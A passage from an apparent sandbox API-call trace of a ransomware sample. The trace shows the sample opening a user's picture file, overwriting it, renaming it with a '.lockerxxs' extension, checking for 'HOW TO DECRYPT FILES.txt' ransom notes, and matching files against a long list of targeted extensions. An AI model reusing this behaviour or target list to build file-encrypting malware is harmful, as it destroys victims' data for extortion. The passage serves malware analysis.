XqRmg.jpg." [0091.193] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg.lockerxxs" [0091.193] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\w xqrmg.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0091.193] GetFileSize (in: hFile=0x88, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10c3d [0091.194] GetFileTime (in: hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x826937f0, dwHighDateTime=0x1d5e237), lpLastAccessTime=0x407536*(dwLowDateTime=0xf52ff450, dwHighDateTime=0x1d5e2e0), lpLastWriteTime=0x40753e*(dwLowDateTime=0xf52ff450, dwHighDateTime=0x1d5e2e0)) returned 1 [0091.194] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.194] ReadFile (in: hFile=0x88, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10c17, lpOverlapped=0x0) returned 1 [0091.197] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg") returned="w XqRmg.jpg" [0091.198] SetFilePointer (in: hFile=0x88, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.198] WriteFile (in: hFile=0x88, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10c17, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10c17, lpOverlapped=0x0) returned 1 [0091.198] SetFileTime (hFile=0x88, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.198] CloseHandle (hObject=0x88) returned 1 [0091.199] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\w xqrmg.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\w xqrmg.jpg.lockerxxs")) returned 1 [0091.200] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0389400, ftCreationTime.dwHighDateTime=0x1d5e74d, ftLastAccessTime.dwLowDateTime=0x7ae5e4e0, ftLastAccessTime.dwHighDateTime=0x1d5dfe1, ftLastWriteTime.dwLowDateTime=0x7ae5e4e0, ftLastWriteTime.dwHighDateTime=0x1d5dfe1, nFileSizeHigh=0x0, nFileSizeLow=0x5e8c, dwReserved0=0x35000336, dwReserved1=0x4e00c4, cFileName="w6a1WKQQ8R.bmp", cAlternateFileName="W6A1WK~1.BMP")) returned 1 [0091.200] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.200] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="w6a1WKQQ8R.bmp") returned -1 [0091.200] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="w6a1WKQQ8R.bmp") returned -1 [0091.200] lstrcmpiA (lpString1="", lpString2="w6a1WKQQ8R.bmp") returned -1 [0091.200] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w XqRmg.jpg") returned="w XqRmg.jpg" [0091.200] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0091.200] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="" [0091.200] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" [0091.200] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\how to decrypt files.txt")) returned 0x20 [0091.200] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="w6a1WKQQ8R.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp" [0091.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.ems") returned 0 [0091.200] lstrlenA (lpString="*.ems") returned 5 [0091.200] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.db") returned 0 [0091.200] lstrlenA (lpString="*.db") returned 4 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.dbf") returned 0 [0091.201] lstrlenA (lpString="*.dbf") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.myox") returned 0 [0091.201] lstrlenA (lpString="*.myox") returned 6 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.myo") returned 0 [0091.201] lstrlenA (lpString="*.myo") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qbw") returned 0 [0091.201] lstrlenA (lpString="*.qbw") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qbb") returned 0 [0091.201] lstrlenA (lpString="*.qbb") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qbm") returned 0 [0091.201] lstrlenA (lpString="*.qbm") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qbo") returned 0 [0091.201] lstrlenA (lpString="*.qbo") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qbx") returned 0 [0091.201] lstrlenA (lpString="*.qbx") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qba") returned 0 [0091.201] lstrlenA (lpString="*.qba") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qby") returned 0 [0091.201] lstrlenA (lpString="*.qby") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qbj") returned 0 [0091.201] lstrlenA (lpString="*.qbj") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.ofx") returned 0 [0091.201] lstrlenA (lpString="*.ofx") returned 5 [0091.201] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.qif") returned 0 [0091.202] lstrlenA (lpString="*.qif") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mye") returned 0 [0091.202] lstrlenA (lpString="*.mye") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mbox") returned 0 [0091.202] lstrlenA (lpString="*.mbox") returned 6 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.eml") returned 0 [0091.202] lstrlenA (lpString="*.eml") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.pst") returned 0 [0091.202] lstrlenA (lpString="*.pst") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.ost") returned 0 [0091.202] lstrlenA (lpString="*.ost") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.idx") returned 0 [0091.202] lstrlenA (lpString="*.idx") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.dbx") returned 0 [0091.202] lstrlenA (lpString="*.dbx") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.sql") returned 0 [0091.202] lstrlenA (lpString="*.sql") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mdb") returned 0 [0091.202] lstrlenA (lpString="*.mdb") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.fdb") returned 0 [0091.202] lstrlenA (lpString="*.fdb") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.wab") returned 0 [0091.202] lstrlenA (lpString="*.wab") returned 5 [0091.202] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.dat") returned 0 [0091.202] lstrlenA (lpString="*.dat") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.txt") returned 0 [0091.203] lstrlenA (lpString="*.txt") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.jpeg") returned 0 [0091.203] lstrlenA (lpString="*.jpeg") returned 6 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.jpg") returned 0 [0091.203] lstrlenA (lpString="*.jpg") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.png") returned 0 [0091.203] lstrlenA (lpString="*.png") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.php") returned 0 [0091.203] lstrlenA (lpString="*.php") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.cs") returned 0 [0091.203] lstrlenA (lpString="*.cs") returned 4 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.cpp") returned 0 [0091.203] lstrlenA (lpString="*.cpp") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.rar") returned 0 [0091.203] lstrlenA (lpString="*.rar") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.zip") returned 0 [0091.203] lstrlenA (lpString="*.zip") returned 5 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.html") returned 0 [0091.203] lstrlenA (lpString="*.html") returned 6 [0091.203] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.htm") returned 0 [0091.203] lstrlenA (lpString="*.htm") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.xlsx") returned 0 [0091.204] lstrlenA (lpString="*.xlsx") returned 6 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.xls") returned 0 [0091.204] lstrlenA (lpString="*.xls") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mp4") returned 0 [0091.204] lstrlenA (lpString="*.mp4") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.ppt") returned 0 [0091.204] lstrlenA (lpString="*.ppt") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.pptx") returned 0 [0091.204] lstrlenA (lpString="*.pptx") returned 6 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.doc") returned 0 [0091.204] lstrlenA (lpString="*.doc") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.dot") returned 0 [0091.204] lstrlenA (lpString="*.dot") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.docx") returned 0 [0091.204] lstrlenA (lpString="*.docx") returned 6 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.7z") returned 0 [0091.204] lstrlenA (lpString="*.7z") returned 4 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.tar") returned 0 [0091.204] lstrlenA (lpString="*.tar") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.bz2") returned 0 [0091.204] lstrlenA (lpString="*.bz2") returned 5 [0091.204] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.gz") returned 0 [0091.204] lstrlenA (lpString="*.gz") returned 4 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mkv") returned 0 [0091.205] lstrlenA (lpString="*.mkv") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.eml") returned 0 [0091.205] lstrlenA (lpString="*.eml") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.msg") returned 0 [0091.205] lstrlenA (lpString="*.msg") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.edb") returned 0 [0091.205] lstrlenA (lpString="*.edb") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.accdb") returned 0 [0091.205] lstrlenA (lpString="*.accdb") returned 7 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.odb") returned 0 [0091.205] lstrlenA (lpString="*.odb") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.java") returned 0 [0091.205] lstrlenA (lpString="*.java") returned 6 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.asm") returned 0 [0091.205] lstrlenA (lpString="*.asm") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.pfx") returned 0 [0091.205] lstrlenA (lpString="*.pfx") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.pem") returned 0 [0091.205] lstrlenA (lpString="*.pem") returned 5 [0091.205] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.p12") returned 0 [0091.205] lstrlenA (lpString="*.p12") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.gpg") returned 0 [0091.206] lstrlenA (lpString="*.gpg") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.vsd") returned 0 [0091.206] lstrlenA (lpString="*.vsd") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.odg") returned 0 [0091.206] lstrlenA (lpString="*.odg") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.raw") returned 0 [0091.206] lstrlenA (lpString="*.raw") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.nef") returned 0 [0091.206] lstrlenA (lpString="*.nef") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.svg") returned 0 [0091.206] lstrlenA (lpString="*.svg") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.psd") returned 0 [0091.206] lstrlenA (lpString="*.psd") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.vmx") returned 0 [0091.206] lstrlenA (lpString="*.vmx") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.vmdk") returned 0 [0091.206] lstrlenA (lpString="*.vmdk") returned 6 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.vdi") returned 0 [0091.206] lstrlenA (lpString="*.vdi") returned 5 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.lay6") returned 0 [0091.206] lstrlenA (lpString="*.lay6") returned 6 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mpeg") returned 0 [0091.206] lstrlenA (lpString="*.mpeg") returned 6 [0091.206] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.djvu") returned 0 [0091.206] lstrlenA (lpString="*.djvu") returned 6 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.tiff") returned 0 [0091.207] lstrlenA (lpString="*.tiff") returned 6 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.backup") returned 0 [0091.207] lstrlenA (lpString="*.backup") returned 8 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.pdf") returned 0 [0091.207] lstrlenA (lpString="*.pdf") returned 5 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.cert") returned 0 [0091.207] lstrlenA (lpString="*.cert") returned 6 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.docm") returned 0 [0091.207] lstrlenA (lpString="*.docm") returned 6 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.xlsm") returned 0 [0091.207] lstrlenA (lpString="*.xlsm") returned 6 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.dwg") returned 0 [0091.207] lstrlenA (lpString="*.dwg") returned 5 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.nd") returned 0 [0091.207] lstrlenA (lpString="*.nd") returned 4 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.tlg") returned 0 [0091.207] lstrlenA (lpString="*.tlg") returned 5 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.lgb") returned 0 [0091.207] lstrlenA (lpString="*.lgb") returned 5 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mov") returned 0 [0091.207] lstrlenA (lpString="*.mov") returned 5 [0091.207] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.xdw") returned 0 [0091.208] lstrlenA (lpString="*.xdw") returned 5 [0091.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.ods") returned 0 [0091.208] lstrlenA (lpString="*.ods") returned 5 [0091.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.wav") returned 0 [0091.208] lstrlenA (lpString="*.wav") returned 5 [0091.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.mp3") returned 0 [0091.208] lstrlenA (lpString="*.mp3") returned 5 [0091.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.aiff") returned 0 [0091.208] lstrlenA (lpString="*.aiff") returned 6 [0091.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.flac") returned 0 [0091.208] lstrlenA (lpString="*.flac") returned 6 [0091.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.m4a") returned 0 [0091.208] lstrlenA (lpString="*.m4a") returned 5 [0091.208] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp", pszSpec="*.csv") returned 0 [0091.208] lstrlenA (lpString="*.csv") returned 5 [0091.208] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x640f9100, ftCreationTime.dwHighDateTime=0x1d5d9fe, ftLastAccessTime.dwLowDateTime=0xb1f27150, ftLastAccessTime.dwHighDateTime=0x1d5e35c, ftLastWriteTime.dwLowDateTime=0xb1f27150, ftLastWriteTime.dwHighDateTime=0x1d5e35c, nFileSizeHigh=0x0, nFileSizeLow=0xbea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wp1_SD9RrtjTM.png", cAlternateFileName="WP1_SD~1.PNG")) returned 1 [0091.208] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.208] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Wp1_SD9RrtjTM.png") returned -1 [0091.208] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Wp1_SD9RrtjTM.png") returned -1 [0091.208] lstrcmpiA (lpString1="", lpString2="Wp1_SD9RrtjTM.png") returned -1 [0091.208] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\w6a1WKQQ8R.bmp") returned="w6a1WKQQ8R.bmp" [0091.208] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" [0091.208] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="" [0091.208] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\HOW TO DECRYPT FILES.txt" [0091.209] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS 